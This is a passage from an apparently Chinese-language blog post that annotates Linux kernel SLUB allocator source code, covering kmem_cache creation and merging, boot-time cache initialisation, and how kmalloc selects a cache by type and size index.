struct list_head slabs_free;
unsigned long total_slabs; /* length of all slab lists */
unsigned long free_slabs; /* length of free slab list only */
unsigned long free_objects;
unsigned int free_limit;
unsigned int colour_next; /* Per-node cache coloring */
struct array_cache *shared; /* shared per node */
struct alien_cache **alien; /* on other nodes */
unsigned long next_reap; /* updated without locking */
int free_touched; /* updated without locking */
#endif

#ifdef CONFIG_SLUB
spinlock_t list_lock;
unsigned long nr_partial;
struct list_head partial;
#ifdef CONFIG_SLUB_DEBUG
atomic_long_t nr_slabs;
atomic_long_t total_objects;
struct list_head full;
#endif
#endif

};

这是每个Node维护的slab缓存。当cpu缓存为空时,会从node cache中寻找partial slab。如果为slub,其实就三个成员,除了lock以外:

  • partial:一个partial双链表
  • nr_partial:partial上的slab数量

kmem_cache 的分配

Pasted-image-20251004101856.png

  1. kmem_cache_create 的功能很简单,实际上就是初始化kmem_cache结构体
  2. 如果存在flag和size符合的cache,直接返回已有cache的alias。
  3. 创建过程中设计到一个先有鸡还是先有蛋问题,kmem_cache 的分配涉及到 kmem_cache_calloc,需要一个 kmem_cache_create 。在 kmem_cache_init 中,会直接配置一个kmem_cache 对应到cache,用于此结构体的分配。

为了更好的了解kmem_cache 的各个成员,笔者会简单分析一下某些成员的初始化。

kmem_cache_create | kmem_cache分配的上层接口

1
2
3
4
5
6
7
8
struct kmem_cache *
kmem_cache_create(const char *name, unsigned int size, unsigned int align,
slab_flags_t flags, void (*ctor)(void *))
{
return kmem_cache_create_usercopy(name, size, align, flags, 0, 0,
ctor);
}
EXPORT_SYMBOL(kmem_cache_create);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
struct kmem_cache *
kmem_cache_create_usercopy(const char *name,
unsigned int size, unsigned int align,
slab_flags_t flags,
unsigned int useroffset, unsigned int usersize,
void (*ctor)(void *))
{
struct kmem_cache *s = NULL;
const char *cache_name;
int err;

#ifdef CONFIG_SLUB_DEBUG
/*
* If no slub_debug was enabled globally, the static key is not yet
* enabled by setup_slub_debug(). Enable it if the cache is being
* created with any of the debugging flags passed explicitly.
* It's also possible that this is the first cache created with
* SLAB_STORE_USER and we should init stack_depot for it.
*/
if (flags & SLAB_DEBUG_FLAGS)
static_branch_enable(&slub_debug_enabled);
if (flags & SLAB_STORE_USER)
stack_depot_init();
#endif

mutex_lock(&slab_mutex);

err = kmem_cache_sanity_check(name, size);
if (err) {
goto out_unlock;
}

/* Refuse requests with allocator specific flags */
if (flags & ~SLAB_FLAGS_PERMITTED) {
err = -EINVAL;
goto out_unlock;
}

/*
* Some allocators will constraint the set of valid flags to a subset
* of all flags. We expect them to define CACHE_CREATE_MASK in this
* case, and we'll just provide them with a sanitized version of the
* passed flags.
*/
flags &= CACHE_CREATE_MASK;

/* Fail closed on bad usersize of useroffset values. */
if (!IS_ENABLED(CONFIG_HARDENED_USERCOPY) ||
WARN_ON(!usersize && useroffset) ||
WARN_ON(size < usersize || size - usersize < useroffset))
usersize = useroffset = 0;

if (!usersize)
// 首先看是否返回已有的cache的alias
s = __kmem_cache_alias(name, size, align, flags, ctor);
if (s)
goto out_unlock;

cache_name = kstrdup_const(name, GFP_KERNEL);
if (!cache_name) {
err = -ENOMEM;
goto out_unlock;
}
// 然后创建一个新的cache
s = create_cache(cache_name, size,
calculate_alignment(flags, align, size),
flags, useroffset, usersize, ctor, NULL);
if (IS_ERR(s)) {
err = PTR_ERR(s);
kfree_const(cache_name);
}

out_unlock:
mutex_unlock(&slab_mutex);

if (err) {
if (flags & SLAB_PANIC)
panic("%s: Failed to create slab '%s'. Error %d\n",
__func__, name, err);
else {
pr_warn("%s(%s) failed with error %d\n",
__func__, name, err);
dump_stack();
}
return NULL;
}
return s;
}
EXPORT_SYMBOL(kmem_cache_create_usercopy);

主要逻辑就是先调用 __kmem_cache_alias 判断是否返回已有cache的alias,如果无法返回alias,调用 create_cache

__kmem_cache_alias | 返回已有cache的alias

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct kmem_cache *
__kmem_cache_alias(const char *name, unsigned int size, unsigned int align,
slab_flags_t flags, void (*ctor)(void *))
{
struct kmem_cache *s;

s = find_mergeable(size, align, flags, name, ctor);
if (s) {
if (sysfs_slab_alias(s, name))
return NULL;

s->refcount++;

/*
* Adjust the object sizes so that we clear
* the complete object on kzalloc.
*/
s->object_size = max(s->object_size, size);
s->inuse = max(s->inuse, ALIGN(size, sizeof(void *)));
}

return s;
}

主要是通过 find_mergeable 判断是否可以返回已有的cache。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct kmem_cache *find_mergeable(unsigned int size, unsigned int align,
slab_flags_t flags, const char *name, void (*ctor)(void *))
{
struct kmem_cache *s;

if (slab_nomerge)
return NULL;

if (ctor)
return NULL;

size = ALIGN(size, sizeof(void *));
align = calculate_alignment(flags, align, size);
size = ALIGN(size, align);
flags = kmem_cache_flags(size, flags, name);

if (flags & SLAB_NEVER_MERGE)
return NULL;
// 遍历一下所有的的cache
list_for_each_entry_reverse(s, &slab_caches, list) {
// 如果flag是 unmergeable 的,还有ctor的等
// 那么就是unmergeable的
if (slab_unmergeable(s))
continue;
// 如果size大于已有cache的size,跳过
if (size > s->size)
continue;
// SLAB_MERGE_SAME 中的所有flag都需要相同才能merge
if ((flags & SLAB_MERGE_SAME) != (s->flags & SLAB_MERGE_SAME))
continue;
// 判断对齐是否相同
if ((s->size & ~(align - 1)) != s->size)
continue;

if (s->size - size >= sizeof(void *))
continue;

if (IS_ENABLED(CONFIG_SLAB) && align &&
(align > s->align || s->align % align))
continue;

return s;
}
return NULL;
}

我之前看@arttabn3师傅的博客,SLAB_ACCOUNT会独立分配,但是其实SLAB_ACCOUNT并不在SLAB_NEVER_MERGE中,只是在SLAB_MERGE_SAME,即,如果要merge一定要完全相同的flag中,因此,其实SLAB_ACCOUNT tag的cache也可能是alias,只是要求需要是SLAB_ACCOUNT的设置是完全一致的,并且,笔者确认了即使是前几个版本,也是一样的情况:

1
2
3
4
5
6
#define SLAB_NEVER_MERGE (SLAB_RED_ZONE | SLAB_POISON | SLAB_STORE_USER | \
SLAB_TRACE | SLAB_TYPESAFE_BY_RCU | SLAB_NOLEAKTRACE | \
SLAB_FAILSLAB | SLAB_NO_MERGE | kasan_never_merge())

#define SLAB_MERGE_SAME (SLAB_RECLAIM_ACCOUNT | SLAB_CACHE_DMA | \
SLAB_CACHE_DMA32 | SLAB_ACCOUNT)

create_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static struct kmem_cache *create_cache(const char *name,
unsigned int object_size, unsigned int align,
slab_flags_t flags, unsigned int useroffset,
unsigned int usersize, void (*ctor)(void *),
struct kmem_cache *root_cache)
{
struct kmem_cache *s;
int err;

if (WARN_ON(useroffset + usersize > object_size))
useroffset = usersize = 0;

err = -ENOMEM;
s = kmem_cache_zalloc(kmem_cache, GFP_KERNEL);
if (!s)
goto out;

s->name = name;
s->size = s->object_size = object_size;
s->align = align;
s->ctor = ctor;
#ifdef CONFIG_HARDENED_USERCOPY
s->useroffset = useroffset;
s->usersize = usersize;
#endif

err = __kmem_cache_create(s, flags);
if (err)
goto out_free_cache;

s->refcount = 1;
list_add(&s->list, &slab_caches);
return s;

out_free_cache:
kmem_cache_free(kmem_cache, s);
out:
return ERR_PTR(err);
}
kmem_cache_zalloc

本质就是调用kmem_cache_alloc 分配内存空间

1
2
3
4
static inline void *kmem_cache_zalloc(struct kmem_cache *k, gfp_t flags)
{
return kmem_cache_alloc(k, flags | __GFP_ZERO);
}
__kmem_cache_create

用于设置cache并将其加入内核sys文件系统中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __kmem_cache_create(struct kmem_cache *s, slab_flags_t flags)
{
int err;

err = kmem_cache_open(s, flags);
if (err)
return err;

/* Mutex is not taken during early boot */
if (slab_state <= UP)
return 0;

err = sysfs_slab_add(s);
if (err) {
__kmem_cache_release(s);
return err;
}

if (s->flags & SLAB_STORE_USER)
debugfs_slab_add(s);

return 0;
}

kmem_cache_open 用于设置其他成员

kmem_cache_open
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
// 设置flag
s->flags = kmem_cache_flags(s->size, flags, s->name);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
// 如果设置了 SLAB_FREELIST_HARDEND,会有一个random设置
s->random = get_random_long();
#endif

if (!calculate_sizes(s))
// 设置oo
goto error;
if (disable_higher_order_debug) {
/*
* Disable debugging flags that store metadata if the min slab
* order increased.
*/
if (get_order(s->size) > get_order(s->object_size)) {
s->flags &= ~DEBUG_METADATA_FLAGS;
s->offset = 0;
if (!calculate_sizes(s))
goto error;
}
}

#ifdef system_has_freelist_aba
if (system_has_freelist_aba() && !(s->flags & SLAB_NO_CMPXCHG)) {
/* Enable fast mode */
s->flags |= __CMPXCHG_DOUBLE;
}
#endif

// 设置min_partial
s->min_partial = min_t(unsigned long, MAX_PARTIAL, ilog2(s->size) / 2);
s->min_partial = max_t(unsigned long, MIN_PARTIAL, s->min_partial);
// 设置cpu_partial 和 cpu_partial_slabs
set_cpu_partial(s);

#ifdef CONFIG_NUMA
s->remote_node_defrag_ratio = 1000;
#endif

/* Initialize the pre-computed randomized freelist if slab is up */
if (slab_state >= UP) {
if (init_cache_random_seq(s))
// 初始化random_seq,用于在slab页分配时,随机化freelist的顺序
goto error;
}
// 初始化 kmem_cache_nodes
if (!init_kmem_cache_nodes(s))
goto error;
// 初始化 kmem_cache_nodes
if (alloc_kmem_cache_cpus(s))
return 0;

error:
__kmem_cache_release(s);
return -EINVAL;
}

此函数主要完成了以下功能:

  1. 设置了flag
  2. 如果设置了SLAB_FREELIST_HARDENED,需要设置一个random值
  3. 设置min_partial
  4. 初始化random_seq,用于之后slab页分配时,随机化freelist的顺序w
  5. 设置cpu_partialcpu_partial_slabs
  6. 初始化kmem_cache_nodes和``kmem_cache_nodes`

然后我们关注一下calculate_sizes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
..........
..........
我们忽略前面一长串size计算的逻辑

*/
size = ALIGN(size, s->align);
s->size = size;
s->reciprocal_size = reciprocal_value(size);
order = calculate_order(size);

if ((int)order < 0)
return 0;

s->allocflags = 0;
if (order)
s->allocflags |= __GFP_COMP;

if (s->flags & SLAB_CACHE_DMA)
s->allocflags |= GFP_DMA;

if (s->flags & SLAB_CACHE_DMA32)
s->allocflags |= GFP_DMA32;

if (s->flags & SLAB_RECLAIM_ACCOUNT)
s->allocflags |= __GFP_RECLAIMABLE;

/*
* Determine the number of objects per slab
*/
s->oo = oo_make(order, size);
s->min = oo_make(get_order(size), size);

return !!oo_objects(s->oo);

这里还设置了size和oo,以及allocflags,这里着重关注一下__GFP_COMP这将在我们之后的分配的slowpath4向buddy system请求页面时被传入buddy system,而正如在前面prep_new_page中分析的,这会使得page分配完后,被设置为compound page再返回。

kmem_cachekmalloc_caches 的初始化

接下来我们讨论 kmem_cache 对应cache的初始化和 kmalloc_caches 数组的初始化。

kmem_cache

kmem_cachekmem_cache_init中初始化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void __init kmem_cache_init(void)
{
static __initdata struct kmem_cache boot_kmem_cache,
boot_kmem_cache_node;
// 这是内核启动早期(还不能动态分配内存)时用的 **静态缓存描述符**。
// 后续 `bootstrap()` 会将这些静态结构“升级”为真正的动态结构。
// 这是两个kmem_cache, 一个用于分配kmem_cache, 一个用于分配boot_kmem_cache
int node;

if (debug_guardpage_minorder())
slub_max_order = 0;

/* Print slub debugging pointers without hashing */
if (__slub_debug_enabled())
no_hash_pointers_enable(NULL);
// 由于此时 slab 分配器还没完全启动,只能先让全局的 `kmem_cache` / `kmem_cache_node` 指针指向这两个静态临时结构。
// 后面 `bootstrap()` 会将这两个替换掉。
kmem_cache_node = &boot_kmem_cache_node;
kmem_cache = &boot_kmem_cache;
/*
* Initialize the nodemask for which we will allocate per node
* structures. Here we don't need taking slab_mutex yet.
*/
for_each_node_state(node, N_NORMAL_MEMORY)
node_set(node, slab_nodes);
// 遍历所有处于 `N_NORMAL_MEMORY`状态的节点(即具有正常内存的 NUMA 节点),在 slab_nodes 中设置标记。这里的`slab_nodes`是一个`nodemask_t`,Linux 内核在 NUMA(Non-Uniform Memory Access,多节点内存架构)下,许多结构或子系统都需要维护一个 **节点集合**,表示它们在哪些节点上有内存 / 资源。
// `nodemask_t` 本质上是一个 **位图(bitmap)**,每一位对应一个 NUMA node。
// 这里的设置是对于所有有`N_NORMAL_MEMORY`的节点,在`slab_nodes` bitmap中设置对应的位。
// 这一步为后面 每个 NUMA 节点分配 slab 元数据 做准备。


create_boot_cache(kmem_cache_node, "kmem_cache_node",
sizeof(struct kmem_cache_node), SLAB_HWCACHE_ALIGN, 0, 0);
// 为 `struct kmem_cache_node` 结构创建 boot cache。
// `SLAB_HWCACHE_ALIGN`:保证按 CPU cache line 对齐,减少伪共享。
hotplug_memory_notifier(slab_memory_callback, SLAB_CALLBACK_PRI);
// 注册一个 memory hotplug notifier,当内存被添加或移除时(例如 NUMA 节点热插拔),slab 分配器能动态调整其节点结构。
slab_state = PARTIAL;

// 创建管理 `struct kmem_cache` 本身的 boot cache。
// 这里用 `offsetof` + `nr_node_ids` 是因为 `kmem_cache` 的结构体末尾是一个变长数组,用于存储每个节点的 `kmem_cache_node *` 指针。
create_boot_cache(kmem_cache, "kmem_cache",
offsetof(struct kmem_cache, node) +
nr_node_ids * sizeof(struct kmem_cache_node *),
SLAB_HWCACHE_ALIGN, 0, 0);

kmem_cache = bootstrap(&boot_kmem_cache);
kmem_cache_node = bootstrap(&boot_kmem_cache_node);
// 这里简单说一下bootstrap函数,就是将旧的static两个cache复制到新的由kmem_cache自己分配到结构体中
// 并且更新所有slabs对应的kmem_cache成员,指向新的cache

// 初始化 kmalloc 所使用的标准大小缓存(如 kmalloc-64、kmalloc-128 等)。
// setup_kmalloc_cache_index_table():构建 kmalloc 大小 → cache 的索引表。
// create_kmalloc_caches(0):实际创建这些 caches。
setup_kmalloc_cache_index_table();
create_kmalloc_caches(0);

/* Setup random freelists for each cache */
init_freelist_randomization();

cpuhp_setup_state_nocalls(CPUHP_SLUB_DEAD, "slub:dead", NULL,
slub_cpu_dead);

pr_info("SLUB: HWalign=%d, Order=%u-%u, MinObjects=%u, CPUs=%u, Nodes=%u\n",
cache_line_size(),
slub_min_order, slub_max_order, slub_min_objects,
nr_cpu_ids, nr_node_ids);
}

此函数主要逻辑就是先使用静态的两个kmem_cache结构体,分别用于kmem_cachekmem_cache_node的初始分配。然后使用此结构体分配真正的两个kmem_cache,然后复制原来的结构体。之后使用动态分配的两个结构体,来进行分配,之后分配kmalloc_caches,这个数组用于kmalloc的分配。

kmalloc_caches

kmalloc_caches是一个二维数组。通过typeindex找对应的caches。然后我们先谈论 kmalloc_cache 的类型如下,这里着重注意CONFIG_MEMCG_KMEM ,如果没有设置 CONFIG_MEMCG_KMEM ,那么 KMALLOC_CGROUPKMALLOC_NORMAL 是同一个cache,而 KMALLOC_CGROUP 是用于容器的资源消耗记账的cache类型,SLAB_ACCOUNT 的分配flag就会走此cache。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
enum kmalloc_cache_type {
KMALLOC_NORMAL = 0,
#ifndef CONFIG_ZONE_DMA
KMALLOC_DMA = KMALLOC_NORMAL,
#endif
#ifndef CONFIG_MEMCG_KMEM
KMALLOC_CGROUP = KMALLOC_NORMAL,
#endif
KMALLOC_RANDOM_START = KMALLOC_NORMAL,
KMALLOC_RANDOM_END = KMALLOC_RANDOM_START + RANDOM_KMALLOC_CACHES_NR,
#ifdef CONFIG_SLUB_TINY
KMALLOC_RECLAIM = KMALLOC_NORMAL,
#else
KMALLOC_RECLAIM,
#endif
#ifdef CONFIG_ZONE_DMA
KMALLOC_DMA,
#endif
#ifdef CONFIG_MEMCG_KMEM
KMALLOC_CGROUP,
#endif
NR_KMALLOC_TYPES
};

然后我们来看一下setup_kmalloc_cache_index_table,了解如何从size转换为index。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __init setup_kmalloc_cache_index_table(void)
{
unsigned int i;

BUILD_BUG_ON(KMALLOC_MIN_SIZE > 256 ||
!is_power_of_2(KMALLOC_MIN_SIZE));

for (i = 8; i < KMALLOC_MIN_SIZE; i += 8) {
unsigned int elem = size_index_elem(i);

if (elem >= ARRAY_SIZE(size_index))
break;
size_index[elem] = KMALLOC_SHIFT_LOW;
}

if (KMALLOC_MIN_SIZE >= 64) {
/*
* The 96 byte sized cache is not used if the alignment
* is 64 byte.
*/
for (i = 64 + 8; i <= 96; i += 8)
size_index[size_index_elem(i)] = 7;

}

if (KMALLOC_MIN_SIZE >= 128) {
/*
* The 192 byte sized cache is not used if the alignment
* is 128 byte. Redirect kmalloc to use the 256 byte cache
* instead.
*/
for (i = 128 + 8; i <= 192; i += 8)
size_index[size_index_elem(i)] = 8;
}
}

这也是一个编译期优化函数,用于patch size_index数组,对于正常的x64等架构,由于KMALLOC_MIN_SIZE,其实就是架构的对齐字节数,为8,整个函数的所有代码都会直接被优化掉。只有对于MIPS等,架构的对齐很大的情况,需要patch此数组。然后我们看一下原始的size_index数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static u8 size_index[24] __ro_after_init = {
3, /* 8 */
4, /* 16 */
5, /* 24 */
5, /* 32 */
6, /* 40 */
6, /* 48 */
6, /* 56 */
6, /* 64 */
1, /* 72 */
1, /* 80 */
1, /* 88 */
1, /* 96 */
7, /* 104 */
7, /* 112 */
7, /* 120 */
7, /* 128 */
2, /* 136 */
2, /* 144 */
2, /* 152 */
2, /* 160 */
2, /* 168 */
2, /* 176 */
2, /* 184 */
2 /* 192 */
};

此数组主要是针对小于196的分配,需要考虑字节对齐,可以看到,很多都是复用一个cache,当大于196时,如果要走kmalloc数组分配,那么就是直接按照2的幂数对齐了,即后面的数组index对应的size分别是8~256,9~512,…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __init create_kmalloc_caches(slab_flags_t flags)
{
int i;
enum kmalloc_cache_type type;

/*
* Including KMALLOC_CGROUP if CONFIG_MEMCG_KMEM defined
*/
for (type = KMALLOC_NORMAL; type < NR_KMALLOC_TYPES; type++) {
for (i = KMALLOC_SHIFT_LOW; i <= KMALLOC_SHIFT_HIGH; i++) {
if (!kmalloc_caches[type][i])
new_kmalloc_cache(i, type, flags);

/*
* Caches that are not of the two-to-the-power-of size.
* These have to be created immediately after the
* earlier power of two caches
*/
if (KMALLOC_MIN_SIZE <= 32 && i == 6 &&
!kmalloc_caches[type][1])
new_kmalloc_cache(1, type, flags);
if (KMALLOC_MIN_SIZE <= 64 && i == 7 &&
!kmalloc_caches[type][2])
new_kmalloc_cache(2, type, flags);
}
}
#ifdef CONFIG_RANDOM_KMALLOC_CACHES
random_kmalloc_seed = get_random_u64();
#endif

/* Kmalloc array is now usable */
slab_state = UP;
}

然后我们来看初始化函数create_kmalloc_caches更进一步了解。我们发现size_index很奇怪,为什么前面时3、4、5、6…,后面为什么又穿插了1,2两个index呢?

从初始化我们发现,其实,除去1,2,如果从3开始,其他的所有index对应的size都是满足2的幂次的。可以简化我们的初始化情形。

然后我们进入new_kmalloc_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __init
new_kmalloc_cache(int idx, enum kmalloc_cache_type type, slab_flags_t flags)
{
unsigned int minalign = __kmalloc_minalign();
unsigned int aligned_size = kmalloc_info[idx].size;
int aligned_idx = idx;

if ((KMALLOC_RECLAIM != KMALLOC_NORMAL) && (type == KMALLOC_RECLAIM)) {
flags |= SLAB_RECLAIM_ACCOUNT;
} else if (IS_ENABLED(CONFIG_MEMCG_KMEM) && (type == KMALLOC_CGROUP)) {
if (mem_cgroup_kmem_disabled()) {
kmalloc_caches[type][idx] = kmalloc_caches[KMALLOC_NORMAL][idx];
return;
}
flags |= SLAB_ACCOUNT;
} else if (IS_ENABLED(CONFIG_ZONE_DMA) && (type == KMALLOC_DMA)) {
flags |= SLAB_CACHE_DMA;
}

#ifdef CONFIG_RANDOM_KMALLOC_CACHES
if (type >= KMALLOC_RANDOM_START && type <= KMALLOC_RANDOM_END)
flags |= SLAB_NO_MERGE;
#endif

/*
* If CONFIG_MEMCG_KMEM is enabled, disable cache merging for
* KMALLOC_NORMAL caches.
*/
if (IS_ENABLED(CONFIG_MEMCG_KMEM) && (type == KMALLOC_NORMAL))
flags |= SLAB_NO_MERGE;

if (minalign > ARCH_KMALLOC_MINALIGN) {
aligned_size = ALIGN(aligned_size, minalign);
aligned_idx = __kmalloc_index(aligned_size, false);
}

if (!kmalloc_caches[type][aligned_idx])
kmalloc_caches[type][aligned_idx] = create_kmalloc_cache(
kmalloc_info[aligned_idx].name[type],
aligned_size, flags);
if (idx != aligned_idx)
kmalloc_caches[type][idx] = kmalloc_caches[type][aligned_idx];
}

此函数主要做了如下工作:

  1. 根据cache type,设置相对应的slab flag
  2. 判断是否需要进行对齐,一般对于x86,不需要进行对齐修正
  3. 然后使用create_kmalloc_cache创造新的kmalloc_cache

接着我们看create_kmalloc_cache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static struct kmem_cache *__init create_kmalloc_cache(const char *name,
unsigned int size,
slab_flags_t flags)
{
struct kmem_cache *s = kmem_cache_zalloc(kmem_cache, GFP_NOWAIT);

if (!s)
panic("Out of memory when creating slab %s\n", name);

create_boot_cache(s, name, size, flags | SLAB_KMALLOC, 0, size);
list_add(&s->list, &slab_caches);
s->refcount = 1;
return s;
}

实际上就是分配了一个新的kmem_cache,注意这里的flags增加的SLAB_KMALLOC

object的分配

来自arttnba3师傅blog的图
Pasted-image-20251004144511.png

对于用户来说,kmalloc是分配的最上层的接口,而slab_alloc_node是真正分配的核心,很多分配函数都是这两者的套壳。

作为linux kernel pwner,笔者主要关注以下问题:

  1. kmalloc是如何根据flag将分配请求传递给特定 kmem_cache
  2. slab_alloc_node 分配object的不同路径是如何选择的
  3. slab_alloc_node 什么时候以何种方式向buddy system请求页面
    因此,接下来我们围绕着以上问题来读原代码

kmalloc 如何分发分配请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static __always_inline __alloc_size(1) void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size) && size) {
unsigned int index;

if (size > KMALLOC_MAX_CACHE_SIZE)
return kmalloc_large(size, flags);

index = kmalloc_index(size);
return kmalloc_trace(
kmalloc_caches[kmalloc_type(flags, _RET_IP_)][index],
flags, size);
}
return __kmalloc(size, flags);
}

我们关注到这是一个inline函数,会在编译期inline,因此实际上这里会做一个编译期的分发。

  1. 如果size是在编译期确定的
    1. 并且大于KMALLOC_MAX_CACHE_SIZEPAGE_SIZE*2)即两页,调用kmalloc_large 直接分配
    2. 否则通过kmalloc_index找到index,然后通过kmalloc_trace 进行分配
  2. 正常分配通过__kmalloc 进行
kmalloc_large | 编译期确定的大内存请求直接从buddy system分配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void *__kmalloc_large_node(size_t size, gfp_t flags, int node)
{
struct page *page;
void *ptr = NULL;
unsigned int order = get_order(size);

if (unlikely(flags & GFP_SLAB_BUG_MASK))
flags = kmalloc_fix_flags(flags);

flags |= __GFP_COMP;
page = alloc_pages_node(node, flags, order);
if (page) {
ptr = page_address(page);
mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
PAGE_SIZE << order);
}

ptr = kasan_kmalloc_large(ptr, size, flags);
/* As ptr might get tagged, call kmemleak hook after KASAN. */
kmemleak_alloc(ptr, size, 1, flags);
kmsan_kmalloc_large(ptr, size, flags);

return ptr;
}

void *kmalloc_large(size_t size, gfp_t flags)
{
void *ret = __kmalloc_large_node(size, flags, NUMA_NO_NODE);

trace_kmalloc(_RET_IP_, ret, size, PAGE_SIZE << get_order(size),
flags, NUMA_NO_NODE);
return ret;
}
EXPORT_SYMBOL(kmalloc_large);

忽略掉和trace point和kasan相关的代码,实际上:

  1. 判断flag是否有冲突和错误,并尝试修复
  2. 然后增加 __GCFP_COMP flag
  3. 从buddysystem进行分配
    1. order通过get_order计算
      0 -> 2^0 * PAGE_SIZE and below
      1 -> 2^1 * PAGE_SIZE to 2^0 * PAGE_SIZE + 1
      2 -> 2^2 * PAGE_SIZE to 2^1 * PAGE_SIZE + 1
      3 -> 2^3 * PAGE_SIZE to 2^2 * PAGE_SIZE + 1
      4 -> 2^4 * PAGE_SIZE to 2^3 * PAGE_SIZE + 1
    2. NODE为NUMA_NO_NODE
kmalloc_trace | 编译器确定的内存请求的分配

可以看到kmalloc_trace实际上是__kmem_cache_alloc_node 的封装,不需要进行分析。

1
2
3
4
5
6
7
8
9
10
void *kmalloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size)
{
void *ret = __kmem_cache_alloc_node(s, gfpflags, NUMA_NO_NODE,
size, _RET_IP_);

trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags, NUMA_NO_NODE);

ret = kasan_kmalloc(s, ret, size, gfpflags);
return ret;
}

那么其实问题的关键是通过kmalloc_caches数组确定对应的kmem_cache,其查找逻辑就是来自于我们之前讨论的type和index。

1
2
3
kmalloc_trace(
kmalloc_caches[kmalloc_type(flags, _RET_IP_)][index],
flags, size);

但还是讨论一下type的确认,正常直接返回KMALLOC_NORMAL,这里的KMALLOC_NOT_NORMAL_BITS其实就是后面__GFP_DMA__GFP_RECLAIMABLE等分配flag的集合,如果包含这些flag,后面返回其他type即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static __always_inline enum kmalloc_cache_type kmalloc_type(gfp_t flags, unsigned long caller)
{
/*
* The most common case is KMALLOC_NORMAL, so test for it
* with a single branch for all the relevant flags.
*/
// #define KMALLOC_NOT_NORMAL_BITS \
// (__GFP_RECLAIMABLE | \
// (IS_ENABLED(CONFIG_ZONE_DMA) ? __GFP_DMA : 0) | \
// (IS_ENABLED(CONFIG_MEMCG_KMEM) ? __GFP_ACCOUNT : 0))

if (likely((flags & KMALLOC_NOT_NORMAL_BITS) == 0))
#ifdef CONFIG_RANDOM_KMALLOC_CACHES
/* RANDOM_KMALLOC_CACHES_NR (=15) copies + the KMALLOC_NORMAL */
return KMALLOC_RANDOM_START + hash_64(caller ^ random_kmalloc_seed,
ilog2(RANDOM_KMALLOC_CACHES_NR + 1));
#else
return KMALLOC_NORMAL;
#endif

/*
* At least one of the flags has to be set. Their priorities in
* decreasing order are:
* 1) __GFP_DMA
* 2) __GFP_RECLAIMABLE
* 3) __GFP_ACCOUNT
*/
if (IS_ENABLED(CONFIG_ZONE_DMA) && (flags & __GFP_DMA))
return KMALLOC_DMA;
if (!IS_ENABLED(CONFIG_MEMCG_KMEM) || (flags & __GFP_RECLAIMABLE))
return KMALLOC_RECLAIM;
else
return KMALLOC_CGROUP;
}
__kmalloc | 正常的kmalloc分配

__kmalloc实际上是__do_kmalloc_node的wrapper:

1
2
3
4
5
void *__kmalloc(size_t size, gfp_t flags)
{
return __do_kmalloc_node(size, flags, NUMA_NO_NODE, _RET_IP_);
}
EXPORT_SYMBOL(__kmalloc);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static __always_inline
void *__do_kmalloc_node(size_t size, gfp_t flags, int node, unsigned long caller)
{
struct kmem_cache *s;
void *ret;

if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) {
ret = __kmalloc_large_node(size, flags, node);
trace_kmalloc(caller, ret, size,
PAGE_SIZE << get_order(size), flags, node);
return ret;
}

s = kmalloc_slab(size, flags, caller);

if (unlikely(ZERO_OR_NULL_PTR(s)))
return s;

ret = __kmem_cache_alloc_node(s, flags, node, size, caller);
ret = kasan_kmalloc(s, ret, size, flags);
trace_kmalloc(caller, ret, size, s->size, flags, node);
return ret;
}

这里的caller参数用于kasan和debug找到实际内存分配的地址,也就是_RET_IP_,如果使用__builtin_return_address()获取到的是上层warpper的地址,所以只能使用单独的caller参数,我们不特别关心此参数。

这里获取kmem_cache使用kmalloc_slab函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct kmem_cache *kmalloc_slab(size_t size, gfp_t flags, unsigned long caller)
{
unsigned int index;

if (size <= 192) {
if (!size)
return ZERO_SIZE_PTR;
